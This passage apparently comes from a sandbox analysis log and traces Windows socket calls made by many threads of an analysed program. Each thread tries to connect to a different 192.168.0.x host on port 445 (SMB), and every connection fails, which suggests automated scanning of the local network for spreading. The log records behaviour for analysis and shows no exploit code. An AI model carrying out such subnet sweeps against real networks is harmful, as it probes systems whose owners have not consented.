0x13f0 [0084.323] inet_addr (cp="192.168.0.143") returned 0x8f00a8c0 [0084.323] htons (hostshort=0x1bd) returned 0xbd01 [0084.323] connect (s=0x13f0, name=0x18b5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.143"), namelen=16) returned -1 [0105.474] closesocket (s=0x13f0) returned 0 [0105.474] WSACleanup () returned 0 [0105.474] GetCurrentThreadId () returned 0xe2c [0105.474] GetCurrentThreadId () returned 0xe2c [0105.475] GetCurrentThreadId () returned 0xe2c Thread: id = 311 os_tid = 0xe30 [0084.324] GetCurrentThreadId () returned 0xe30 [0084.324] GetCurrentThreadId () returned 0xe30 [0084.324] GetCurrentThreadId () returned 0xe30 [0084.324] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18c9fdf0 | out: lpWSAData=0x18c9fdf0) returned 0 [0084.324] socket (af=2, type=1, protocol=0) returned 0x13fc [0084.325] inet_addr (cp="192.168.0.135") returned 0x8700a8c0 [0084.325] htons (hostshort=0x1bd) returned 0xbd01 [0084.325] connect (s=0x13fc, name=0x18c9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.135"), namelen=16) returned -1 [0105.475] closesocket (s=0x13fc) returned 0 [0105.475] WSACleanup () returned 0 [0105.475] GetCurrentThreadId () returned 0xe30 [0105.475] GetCurrentThreadId () returned 0xe30 [0105.475] GetCurrentThreadId () returned 0xe30 Thread: id = 312 os_tid = 0xe34 [0084.418] GetCurrentThreadId () returned 0xe34 [0084.418] GetCurrentThreadId () returned 0xe34 [0084.418] GetCurrentThreadId () returned 0xe34 [0084.418] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18ddfdf0 | out: lpWSAData=0x18ddfdf0) returned 0 [0084.418] socket (af=2, type=1, protocol=0) returned 0x1414 [0084.421] inet_addr (cp="192.168.0.144") returned 0x9000a8c0 [0084.421] htons (hostshort=0x1bd) returned 0xbd01 [0084.421] connect (s=0x1414, name=0x18ddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.144"), namelen=16) returned -1 [0105.570] closesocket (s=0x1414) returned 0 [0105.570] WSACleanup () returned 0 [0105.570] GetCurrentThreadId () returned 0xe34 [0105.570] GetCurrentThreadId () returned 0xe34 [0105.570] GetCurrentThreadId () returned 0xe34 Thread: id = 313 os_tid = 0xe38 [0084.422] GetCurrentThreadId () returned 0xe38 [0084.422] GetCurrentThreadId () returned 0xe38 [0084.422] GetCurrentThreadId () returned 0xe38 [0084.422] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18f1fdf0 | out: lpWSAData=0x18f1fdf0) returned 0 [0084.422] socket (af=2, type=1, protocol=0) returned 0x1420 [0084.422] inet_addr (cp="192.168.0.136") returned 0x8800a8c0 [0084.422] htons (hostshort=0x1bd) returned 0xbd01 [0084.422] connect (s=0x1420, name=0x18f1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.136"), namelen=16) returned -1 [0105.571] closesocket (s=0x1420) returned 0 [0105.571] WSACleanup () returned 0 [0105.571] GetCurrentThreadId () returned 0xe38 [0105.571] GetCurrentThreadId () returned 0xe38 [0105.571] GetCurrentThreadId () returned 0xe38 Thread: id = 314 os_tid = 0xe3c [0084.510] GetCurrentThreadId () returned 0xe3c [0084.510] GetCurrentThreadId () returned 0xe3c [0084.510] GetCurrentThreadId () returned 0xe3c [0084.510] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1905fdf0 | out: lpWSAData=0x1905fdf0) returned 0 [0084.510] socket (af=2, type=1, protocol=0) returned 0x1434 [0084.511] inet_addr (cp="192.168.0.145") returned 0x9100a8c0 [0084.511] htons (hostshort=0x1bd) returned 0xbd01 [0084.511] connect (s=0x1434, name=0x1905fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.145"), namelen=16) returned -1 [0105.672] closesocket (s=0x1434) returned 0 [0105.673] WSACleanup () returned 0 [0105.673] GetCurrentThreadId () returned 0xe3c [0105.673] GetCurrentThreadId () returned 0xe3c [0105.673] GetCurrentThreadId () returned 0xe3c Thread: id = 315 os_tid = 0xe40 [0084.511] GetCurrentThreadId () returned 0xe40 [0084.512] GetCurrentThreadId () returned 0xe40 [0084.512] GetCurrentThreadId () returned 0xe40 [0084.512] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1919fdf0 | out: lpWSAData=0x1919fdf0) returned 0 [0084.512] socket (af=2, type=1, protocol=0) returned 0x1440 [0084.512] inet_addr (cp="192.168.0.137") returned 0x8900a8c0 [0084.512] htons (hostshort=0x1bd) returned 0xbd01 [0084.512] connect (s=0x1440, name=0x1919fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.137"), namelen=16) returned -1 [0105.673] closesocket (s=0x1440) returned 0 [0105.674] WSACleanup () returned 0 [0105.674] GetCurrentThreadId () returned 0xe40 [0105.674] GetCurrentThreadId () returned 0xe40 [0105.674] GetCurrentThreadId () returned 0xe40 Thread: id = 316 os_tid = 0xe44 [0084.604] GetCurrentThreadId () returned 0xe44 [0084.604] GetCurrentThreadId () returned 0xe44 [0084.604] GetCurrentThreadId () returned 0xe44 [0084.604] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x192dfdf0 | out: lpWSAData=0x192dfdf0) returned 0 [0084.604] socket (af=2, type=1, protocol=0) returned 0x1454 [0084.604] inet_addr (cp="192.168.0.146") returned 0x9200a8c0 [0084.604] htons (hostshort=0x1bd) returned 0xbd01 [0084.604] connect (s=0x1454, name=0x192dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.146"), namelen=16) returned -1 [0105.757] closesocket (s=0x1454) returned 0 [0105.758] WSACleanup () returned 0 [0105.758] GetCurrentThreadId () returned 0xe44 [0105.758] GetCurrentThreadId () returned 0xe44 [0105.758] GetCurrentThreadId () returned 0xe44 Thread: id = 317 os_tid = 0xe48 [0084.605] GetCurrentThreadId () returned 0xe48 [0084.605] GetCurrentThreadId () returned 0xe48 [0084.605] GetCurrentThreadId () returned 0xe48 [0084.605] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1941fdf0 | out: lpWSAData=0x1941fdf0) returned 0 [0084.605] socket (af=2, type=1, protocol=0) returned 0x1460 [0084.605] inet_addr (cp="192.168.0.138") returned 0x8a00a8c0 [0084.605] htons (hostshort=0x1bd) returned 0xbd01 [0084.605] connect (s=0x1460, name=0x1941fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.138"), namelen=16) returned -1 [0105.758] closesocket (s=0x1460) returned 0 [0105.759] WSACleanup () returned 0 [0105.759] GetCurrentThreadId () returned 0xe48 [0105.759] GetCurrentThreadId () returned 0xe48 [0105.759] GetCurrentThreadId () returned 0xe48 Thread: id = 318 os_tid = 0xe4c [0084.697] GetCurrentThreadId () returned 0xe4c [0084.697] GetCurrentThreadId () returned 0xe4c [0084.697] GetCurrentThreadId () returned 0xe4c [0084.697] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1955fdf0 | out: lpWSAData=0x1955fdf0) returned 0 [0084.697] socket (af=2, type=1, protocol=0) returned 0x1474 [0084.698] inet_addr (cp="192.168.0.147") returned 0x9300a8c0 [0084.698] htons (hostshort=0x1bd) returned 0xbd01 [0084.698] connect (s=0x1474, name=0x1955fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.147"), namelen=16) returned -1 [0105.866] closesocket (s=0x1474) returned 0 [0105.867] WSACleanup () returned 0 [0105.867] GetCurrentThreadId () returned 0xe4c [0105.867] GetCurrentThreadId () returned 0xe4c [0105.867] GetCurrentThreadId () returned 0xe4c Thread: id = 319 os_tid = 0xe50 [0084.698] GetCurrentThreadId () returned 0xe50 [0084.698] GetCurrentThreadId () returned 0xe50 [0084.698] GetCurrentThreadId () returned 0xe50 [0084.698] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1969fdf0 | out: lpWSAData=0x1969fdf0) returned 0 [0084.698] socket (af=2, type=1, protocol=0) returned 0x1480 [0084.699] inet_addr (cp="192.168.0.139") returned 0x8b00a8c0 [0084.699] htons (hostshort=0x1bd) returned 0xbd01 [0084.699] connect (s=0x1480, name=0x1969fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.139"), namelen=16) returned -1 [0105.867] closesocket (s=0x1480) returned 0 [0105.867] WSACleanup () returned 0 [0105.867] GetCurrentThreadId () returned 0xe50 [0105.867] GetCurrentThreadId () returned 0xe50 [0105.867] GetCurrentThreadId () returned 0xe50 Thread: id = 320 os_tid = 0xe54 [0084.791] GetCurrentThreadId () returned 0xe54 [0084.791] GetCurrentThreadId () returned 0xe54 [0084.791] GetCurrentThreadId () returned 0xe54 [0084.791] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x197dfdf0 | out: lpWSAData=0x197dfdf0) returned 0 [0084.791] socket (af=2, type=1, protocol=0) returned 0x1494 [0084.791] inet_addr (cp="192.168.0.148") returned 0x9400a8c0 [0084.791] htons (hostshort=0x1bd) returned 0xbd01 [0084.792] connect (s=0x1494, name=0x197dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.148"), namelen=16) returned -1 [0105.960] closesocket (s=0x1494) returned 0 [0105.961] WSACleanup () returned 0 [0105.961] GetCurrentThreadId () returned 0xe54 [0105.961] GetCurrentThreadId () returned 0xe54 [0105.961] GetCurrentThreadId () returned 0xe54 Thread: id = 321 os_tid = 0xe58 [0084.803] GetCurrentThreadId () returned 0xe58 [0084.803] GetCurrentThreadId () returned 0xe58 [0084.803] GetCurrentThreadId () returned 0xe58 [0084.803] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1991fdf0 | out: lpWSAData=0x1991fdf0) returned 0 [0084.803] socket (af=2, type=1, protocol=0) returned 0x14a0 [0084.803] inet_addr (cp="192.168.0.140") returned 0x8c00a8c0 [0084.803] htons (hostshort=0x1bd) returned 0xbd01 [0084.803] connect (s=0x14a0, name=0x1991fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.140"), namelen=16) returned -1 [0105.962] closesocket (s=0x14a0) returned 0 [0105.962] WSACleanup () returned 0 [0105.962] GetCurrentThreadId () returned 0xe58 [0105.962] GetCurrentThreadId () returned 0xe58 [0105.962] GetCurrentThreadId () returned 0xe58 Thread: id = 322 os_tid = 0xe5c [0084.917] GetCurrentThreadId () returned 0xe5c [0084.917] GetCurrentThreadId () returned 0xe5c [0084.917] GetCurrentThreadId () returned 0xe5c [0084.917] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19a5fdf0 | out: lpWSAData=0x19a5fdf0) returned 0 [0084.917] socket (af=2, type=1, protocol=0) returned 0x14b4 [0084.918] inet_addr (cp="192.168.0.149") returned 0x9500a8c0 [0084.918] htons (hostshort=0x1bd) returned 0xbd01 [0084.918] connect (s=0x14b4, name=0x19a5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.149"), namelen=16) returned -1 [0106.070] closesocket (s=0x14b4) returned 0 [0106.070] WSACleanup () returned 0 [0106.070] GetCurrentThreadId () returned 0xe5c [0106.070] GetCurrentThreadId () returned 0xe5c [0106.070] GetCurrentThreadId () returned 0xe5c Thread: id = 323 os_tid = 0xe60 [0084.918] GetCurrentThreadId () returned 0xe60 [0084.919] GetCurrentThreadId () returned 0xe60 [0084.919] GetCurrentThreadId () returned 0xe60 [0084.919] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19b9fdf0 | out: lpWSAData=0x19b9fdf0) returned 0 [0084.919] socket (af=2, type=1, protocol=0) returned 0x14c0 [0084.921] inet_addr (cp="192.168.0.141") returned 0x8d00a8c0 [0084.921] htons (hostshort=0x1bd) returned 0xbd01 [0084.921] connect (s=0x14c0, name=0x19b9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.141"), namelen=16) returned -1 [0106.071] closesocket (s=0x14c0) returned 0 [0106.071] WSACleanup () returned 0 [0106.071] GetCurrentThreadId () returned 0xe60 [0106.071] GetCurrentThreadId () returned 0xe60 [0106.071] GetCurrentThreadId () returned 0xe60 Thread: id = 324 os_tid = 0xe64 [0084.963] GetCurrentThreadId () returned 0xe64 [0084.963] GetCurrentThreadId () returned 0xe64 [0084.963] GetCurrentThreadId () returned 0xe64 [0084.963] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19cdfdf0 | out: lpWSAData=0x19cdfdf0) returned 0 [0084.963] socket (af=2, type=1, protocol=0) returned 0x14d4 [0084.963] inet_addr (cp="192.168.0.150") returned 0x9600a8c0 [0084.963] htons (hostshort=0x1bd) returned 0xbd01 [0084.963] connect (s=0x14d4, name=0x19cdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.150"), namelen=16) returned -1 [0106.163] closesocket (s=0x14d4) returned 0 [0106.164] WSACleanup () returned 0 [0106.164] GetCurrentThreadId () returned 0xe64 [0106.164] GetCurrentThreadId () returned 0xe64 [0106.164] GetCurrentThreadId () returned 0xe64 Thread: id = 325 os_tid = 0xe68 [0084.964] GetCurrentThreadId () returned 0xe68 [0084.964] GetCurrentThreadId () returned 0xe68 [0084.964] GetCurrentThreadId () returned 0xe68 [0084.964] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19e1fdf0 | out: lpWSAData=0x19e1fdf0) returned 0 [0084.964] socket (af=2, type=1, protocol=0) returned 0x14e0 [0084.964] inet_addr (cp="192.168.0.142") returned 0x8e00a8c0 [0084.964] htons (hostshort=0x1bd) returned 0xbd01 [0084.964] connect (s=0x14e0, name=0x19e1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.142"), namelen=16) returned -1 [0106.164] closesocket (s=0x14e0) returned 0 [0106.165] WSACleanup () returned 0 [0106.165] GetCurrentThreadId () returned 0xe68 [0106.165] GetCurrentThreadId () returned 0xe68 [0106.165] GetCurrentThreadId () returned 0xe68 Thread: id = 326 os_tid = 0xe6c [0085.150] GetCurrentThreadId () returned 0xe6c [0085.150] GetCurrentThreadId () returned 0xe6c [0085.150] GetCurrentThreadId () returned 0xe6c [0085.150] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19f5fdf0 | out: lpWSAData=0x19f5fdf0) returned 0 [0085.150] socket (af=2, type=1, protocol=0) returned 0x14f4 [0085.153] inet_addr (cp="192.168.0.151") returned 0x9700a8c0 [0085.153] htons (hostshort=0x1bd) returned 0xbd01 [0085.153] connect (s=0x14f4, name=0x19f5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.151"), namelen=16) returned -1 [0107.174] closesocket (s=0x14f4) returned 0 [0107.175] WSACleanup () returned 0 [0107.175] GetCurrentThreadId () returned 0xe6c [0107.175] GetCurrentThreadId () returned 0xe6c [0107.175] GetCurrentThreadId () returned 0xe6c Thread: id = 327 os_tid = 0xe70 [0085.153] GetCurrentThreadId () returned 0xe70 [0085.153] GetCurrentThreadId () returned 0xe70 [0085.153] GetCurrentThreadId () returned 0xe70 [0085.154] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1a09fdf0 | out: lpWSAData=0x1a09fdf0) returned 0 [0085.154] socket (af=2, type=1, protocol=0) returned 0x1500 [0085.154] inet_addr (cp="192.168.0.143") returned 0x8f00a8c0 [0085.154] htons (hostshort=0x1bd) returned 0xbd01 [0085.154] connect (s=0x1500, name=0x1a09fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.143"), namelen=16) returned -1 [0107.175] closesocket (s=0x1500) returned 0 [0107.176] WSACleanup () returned 0 [0107.176] GetCurrentThreadId () returned 0xe70 [0107.176] GetCurrentThreadId () returned 0xe70 [0107.176] GetCurrentThreadId () returned 0xe70 Thread: id = 328 os_tid = 0xe74 [0085.196] GetCurrentThreadId () returned 0xe74 [0085.196] GetCurrentThreadId () returned 0xe74 [0085.196] GetCurrentThreadId () returned 0xe74 [0085.197] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1a1dfdf0 | out: lpWSAData=0x1a1dfdf0) returned 0 [0085.197] socket (af=2, type=1, protocol=0) returned 0x1514 [0085.197] inet_addr (cp="192.168.0.152") returned 0x9800a8c0 [0085.197] htons (hostshort=0x1bd) returned 0xbd01 [0085.197] connect (s=0x1514, name=0x1a1dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.152"), namelen=16) returned -1 [0107.176] closesocket (s=0x1514) returned 0 [0107.176] WSACleanup () returned 0 [0107.176] GetCurrentThreadId () returned 0xe74 [0107.177] GetCurrentThreadId () returned 0xe74 [0107.177] GetCurrentThreadId () returned 0xe74 Thread: id = 329 os_tid = 0xe78 [0085.198] GetCurrentThreadId () returned 0xe78 [0085.198] GetCurrentThreadId () returned 0xe78 [0085.198] GetCurrentThreadId () returned 0xe78 [0085.198] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1a31fdf0 | out: lpWSAData=0x1a31fdf0) returned 0 [0085.198] socket (af=2, type=1, protocol=0) returned 0x1520 [0085.198] inet_addr (cp="192.168.0.144") returned 0x9000a8c0 [0085.198] htons (hostshort=0x1bd) returned 0xbd01 [0085.198] connect (s=0x1520, name=0x1a31fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.144"), namelen=16) returned -1 [0107.177] closesocket (s=0x1520) returned 0 [0107.177] WSACleanup () returned 0 [0107.177] GetCurrentThreadId () returned 0xe78 [0107.177] GetCurrentThreadId () returned 0xe78 [0107.178] GetCurrentThreadId () returned 0xe78 Thread: id = 330 os_tid = 0xe7c [0085.291] GetCurrentThreadId () returned 0xe7c [0085.291] GetCurrentThreadId () returned 0xe7c [0085.291] GetCurrentThreadId () returned 0xe7c [0085.291] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1a45fdf0 | out: lpWSAData=0x1a45fdf0) returned 0 [0085.292] socket (af=2, type=1, protocol=0) returned 0x1534 [0085.292] inet_addr (cp="192.168.0.153") returned 0x9900a8c0 [0085.292] htons (hostshort=0x1bd) returned 0xbd01 [0085.292] connect (s=0x1534, name=0x1a45fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.153"), namelen=16) returned -1 [0107.178] closesocket (s=0x1534) returned 0 [0107.178] WSACleanup () returned 0 [0107.178] GetCurrentThreadId () returned 0xe7c [0107.178] GetCurrentThreadId () returned 0xe7c [0107.178] GetCurrentThreadId () returned 0xe7c Thread: id = 331 os_tid = 0xe80 [0085.293] GetCurrentThreadId () returned 0xe80 [0085.293] GetCurrentThreadId () returned 0xe80 [0085.293] GetCurrentThreadId () returned 0xe80 [0085.293] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1a59fdf0 | out: lpWSAData=0x1a59fdf0) returned 0 [0085.293] socket (af=2, type=1, protocol=0) returned 0x1540 [0085.293] inet_addr (cp="192.168.0.145") returned 0x9100a8c0 [0085.293] htons (hostshort=0x1bd) returned 0xbd01 [0085.293] connect (s=0x1540, name=0x1a59fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.145"), namelen=16) returned -1 [0107.179] closesocket (s=0x1540) returned 0 [0107.179] WSACleanup () returned 0 [0107.179] GetCurrentThreadId () returned 0xe80 [0107.179] GetCurrentThreadId () returned 0xe80 [0107.179] GetCurrentThreadId () returned 0xe80 Thread: id = 332 os_tid = 0xe84 [0085.415] GetCurrentThreadId () returned 0xe84 [0085.415] GetCurrentThreadId () returned 0xe84 [0085.415] GetCurrentThreadId () returned 0xe84 [0085.415] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1a6dfdf0 | out: lpWSAData=0x1a6dfdf0) returned 0 [0085.415] socket (af=2, type=1, protocol=0) returned 0x1554 [0085.415] inet_addr (cp="192.168.0.154") returned 0x9a00a8c0 [0085.415] htons (hostshort=0x1bd) returned 0xbd01 [0085.415] connect (s=0x1554, name=0x1a6dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned -1 [0107.180] closesocket (s=0x1554) returned 0 [0107.180] WSACleanup () returned 0 [0107.180] GetCurrentThreadId () returned 0xe84 [0107.180] GetCurrentThreadId () returned 0xe84 [0107.180] GetCurrentThreadId () returned 0xe84 Thread: id = 333 os_tid = 0xe88 [0085.416] GetCurrentThreadId () returned 0xe88 [0085.416] GetCurrentThreadId () returned 0xe88 [0085.416] GetCurrentThreadId () returned 0xe88 [0085.416] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1a81fdf0 | out: lpWSAData=0x1a81fdf0) returned 0 [0085.416] socket (af=2, type=1, protocol=0) returned 0x1560 [0085.416] inet_addr (cp="192.168.0.146") returned 0x9200a8c0 [0085.416] htons (hostshort=0x1bd) returned 0xbd01 [0085.416] connect (s=0x1560, name=0x1a81fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.146"), namelen=16) returned -1 [0107.181] closesocket (s=0x1560) returned 0 [0107.181] WSACleanup () returned 0 [0107.181] GetCurrentThreadId () returned 0xe88 [0107.181] GetCurrentThreadId () returned 0xe88 [0107.181] GetCurrentThreadId () returned 0xe88 Thread: id = 334 os_tid = 0xe8c [0085.462] GetCurrentThreadId () returned 0xe8c [0085.462] GetCurrentThreadId () returned 0xe8c [0085.462] GetCurrentThreadId () returned 0xe8c [0085.462] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1a95fdf0 | out: lpWSAData=0x1a95fdf0) returned 0 [0085.462] socket (af=2, type=1, protocol=0) returned 0x1574 [0085.462] inet_addr (cp="192.168.0.155") returned 0x9b00a8c0 [0085.462] htons (hostshort=0x1bd) returned 0xbd01 [0085.462] connect (s=0x1574, name=0x1a95fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.155"), namelen=16) returned -1 [0107.182] closesocket (s=0x1574) returned 0 [0107.182] WSACleanup () returned 0 [0107.182] GetCurrentThreadId () returned 0xe8c [0107.182] GetCurrentThreadId () returned 0xe8c [0107.182] GetCurrentThreadId () returned 0xe8c Thread: id = 335 os_tid = 0xe90 [0085.463] GetCurrentThreadId () returned 0xe90 [0085.463] GetCurrentThreadId () returned 0xe90 [0085.463] GetCurrentThreadId () returned 0xe90 [0085.463] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1aa9fdf0 | out: lpWSAData=0x1aa9fdf0) returned 0 [0085.463] socket (af=2, type=1, protocol=0) returned 0x1580 [0085.463] inet_addr (cp="192.168.0.147") returned 0x9300a8c0 [0085.463] htons (hostshort=0x1bd) returned 0xbd01 [0085.463] connect (s=0x1580, name=0x1aa9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.147"), namelen=16) returned -1 [0107.182] closesocket (s=0x1580) returned 0 [0107.183] WSACleanup () returned 0 [0107.183] GetCurrentThreadId () returned 0xe90 [0107.183] GetCurrentThreadId () returned 0xe90 [0107.183] GetCurrentThreadId () returned 0xe90 Thread: id = 336 os_tid = 0xe94 [0085.556] GetCurrentThreadId () returned 0xe94 [0085.556] GetCurrentThreadId () returned 0xe94 [0085.556] GetCurrentThreadId () returned 0xe94 [0085.556] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1abdfdf0 | out: lpWSAData=0x1abdfdf0) returned 0 [0085.556] socket (af=2, type=1, protocol=0) returned 0x1594 [0085.557] inet_addr (cp="192.168.0.156") returned 0x9c00a8c0 [0085.557] htons (hostshort=0x1bd) returned 0xbd01 [0085.557] connect (s=0x1594, name=0x1abdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.156"), namelen=16) returned -1 [0107.183] closesocket (s=0x1594) returned 0 [0107.184] WSACleanup () returned 0 [0107.184] GetCurrentThreadId () returned 0xe94 [0107.184] GetCurrentThreadId () returned 0xe94 [0107.184] GetCurrentThreadId () returned 0xe94 Thread: id = 337 os_tid = 0xe98 [0085.557] GetCurrentThreadId () returned 0xe98 [0085.558] GetCurrentThreadId () returned 0xe98 [0085.558] GetCurrentThreadId () returned 0xe98 [0085.558] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1ad1fdf0 | out: lpWSAData=0x1ad1fdf0) returned 0 [0085.558] socket (af=2, type=1, protocol=0) returned 0x15a0 [0085.558] inet_addr (cp="192.168.0.148") returned 0x9400a8c0 [0085.558] htons (hostshort=0x1bd) returned 0xbd01 [0085.558] connect (s=0x15a0, name=0x1ad1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.148"), namelen=16) returned -1 [0107.184] closesocket (s=0x15a0) returned 0 [0107.184] WSACleanup () returned 0 [0107.184] GetCurrentThreadId () returned 0xe98 [0107.185] GetCurrentThreadId () returned 0xe98 [0107.185] GetCurrentThreadId () returned 0xe98 Thread: id = 338 os_tid = 0xe9c [0085.652] GetCurrentThreadId () returned 0xe9c [0085.652] GetCurrentThreadId () returned 0xe9c [0085.652] GetCurrentThreadId () returned 0xe9c [0085.652] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1ae5fdf0 | out: lpWSAData=0x1ae5fdf0) returned 0 [0085.652] socket (af=2, type=1, protocol=0) returned 0x15b4 [0085.652] inet_addr (cp="192.168.0.157") returned 0x9d00a8c0 [0085.652] htons (hostshort=0x1bd) returned 0xbd01 [0085.652] connect (s=0x15b4, name=0x1ae5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.157"), namelen=16) returned -1 [0107.185] closesocket (s=0x15b4) returned 0 [0107.185] WSACleanup () returned 0 [0107.185] GetCurrentThreadId () returned 0xe9c [0107.185] GetCurrentThreadId () returned 0xe9c [0107.185] GetCurrentThreadId () returned 0xe9c Thread: id = 339 os_tid = 0xea0 [0085.653] GetCurrentThreadId () returned 0xea0 [0085.653] GetCurrentThreadId () returned 0xea0 [0085.653] GetCurrentThreadId () returned 0xea0 [0085.653] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1af9fdf0 | out: lpWSAData=0x1af9fdf0) returned 0 [0085.653] socket (af=2, type=1, protocol=0) returned 0x15c0 [0085.653] inet_addr (cp="192.168.0.149") returned 0x9500a8c0 [0085.653] htons (hostshort=0x1bd) returned 0xbd01 [0085.653] connect (s=0x15c0, name=0x1af9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.149"), namelen=16) returned -1 [0107.186] closesocket (s=0x15c0) returned 0 [0107.186] WSACleanup () returned 0 [0107.186] GetCurrentThreadId () returned 0xea0 [0107.186] GetCurrentThreadId () returned 0xea0 [0107.186] GetCurrentThreadId () returned 0xea0 Thread: id = 340 os_tid = 0xea4 [0085.744] GetCurrentThreadId () returned 0xea4 [0085.744] GetCurrentThreadId () returned 0xea4 [0085.744] GetCurrentThreadId () returned 0xea4 [0085.745] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1b0dfdf0 | out: lpWSAData=0x1b0dfdf0) returned 0 [0085.745] socket (af=2, type=1, protocol=0) returned 0x15d4 [0085.745] inet_addr (cp="192.168.0.158") returned 0x9e00a8c0 [0085.745] htons (hostshort=0x1bd) returned 0xbd01 [0085.745] connect (s=0x15d4, name=0x1b0dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.158"), namelen=16) returned -1 [0107.187] closesocket (s=0x15d4) returned 0 [0107.187] WSACleanup () returned 0 [0107.187] GetCurrentThreadId () returned 0xea4 [0107.187] GetCurrentThreadId () returned 0xea4 [0107.187] GetCurrentThreadId () returned 0xea4 Thread: id = 341 os_tid = 0xea8 [0085.746] GetCurrentThreadId () returned 0xea8 [0085.746] GetCurrentThreadId () returned 0xea8 [0085.746] GetCurrentThreadId () returned 0xea8 [0085.746] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1b21fdf0 | out: lpWSAData=0x1b21fdf0) returned 0 [0085.746] socket (af=2, type=1, protocol=0) returned 0x15e0 [0085.746] inet_addr (cp="192.168.0.150") returned 0x9600a8c0 [0085.746] htons (hostshort=0x1bd) returned 0xbd01 [0085.746] connect (s=0x15e0, name=0x1b21fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.150"), namelen=16) returned -1 [0107.188] closesocket (s=0x15e0) returned 0 [0107.188] WSACleanup () returned 0 [0107.188] GetCurrentThreadId () returned 0xea8 [0107.188] GetCurrentThreadId () returned 0xea8 [0107.188] GetCurrentThreadId () returned 0xea8 Thread: id = 342 os_tid = 0xeac [0085.851] GetCurrentThreadId () returned 0xeac [0085.851] GetCurrentThreadId () returned 0xeac [0085.851] GetCurrentThreadId () returned 0xeac [0085.851] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1b35fdf0 | out: lpWSAData=0x1b35fdf0) returned 0 [0085.851] socket (af=2, type=1, protocol=0) returned 0x15f4 [0085.851] inet_addr (cp="192.168.0.159") returned 0x9f00a8c0 [0085.851] htons (hostshort=0x1bd) returned 0xbd01 [0085.851] connect (s=0x15f4, name=0x1b35fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.159"), namelen=16) returned -1 [0107.189] closesocket (s=0x15f4) returned 0 [0107.189] WSACleanup () returned 0 [0107.189] GetCurrentThreadId () returned 0xeac [0107.189] GetCurrentThreadId () returned 0xeac [0107.189] GetCurrentThreadId () returned 0xeac Thread: id = 343 os_tid = 0xeb0 [0085.853] GetCurrentThreadId () returned 0xeb0 [0085.853] GetCurrentThreadId () returned 0xeb0 [0085.853] GetCurrentThreadId () returned 0xeb0 [0085.853] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1b49fdf0 | out: lpWSAData=0x1b49fdf0) returned 0 [0085.853] socket (af=2, type=1, protocol=0) returned 0x1600 [0085.853] inet_addr (cp="192.168.0.151") returned 0x9700a8c0 [0085.853] htons (hostshort=0x1bd) returned 0xbd01 [0085.853] connect (s=0x1600, name=0x1b49fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.151"), namelen=16) returned -1 [0107.190] closesocket (s=0x1600) returned 0 [0107.190] WSACleanup () returned 0 [0107.190] GetCurrentThreadId () returned 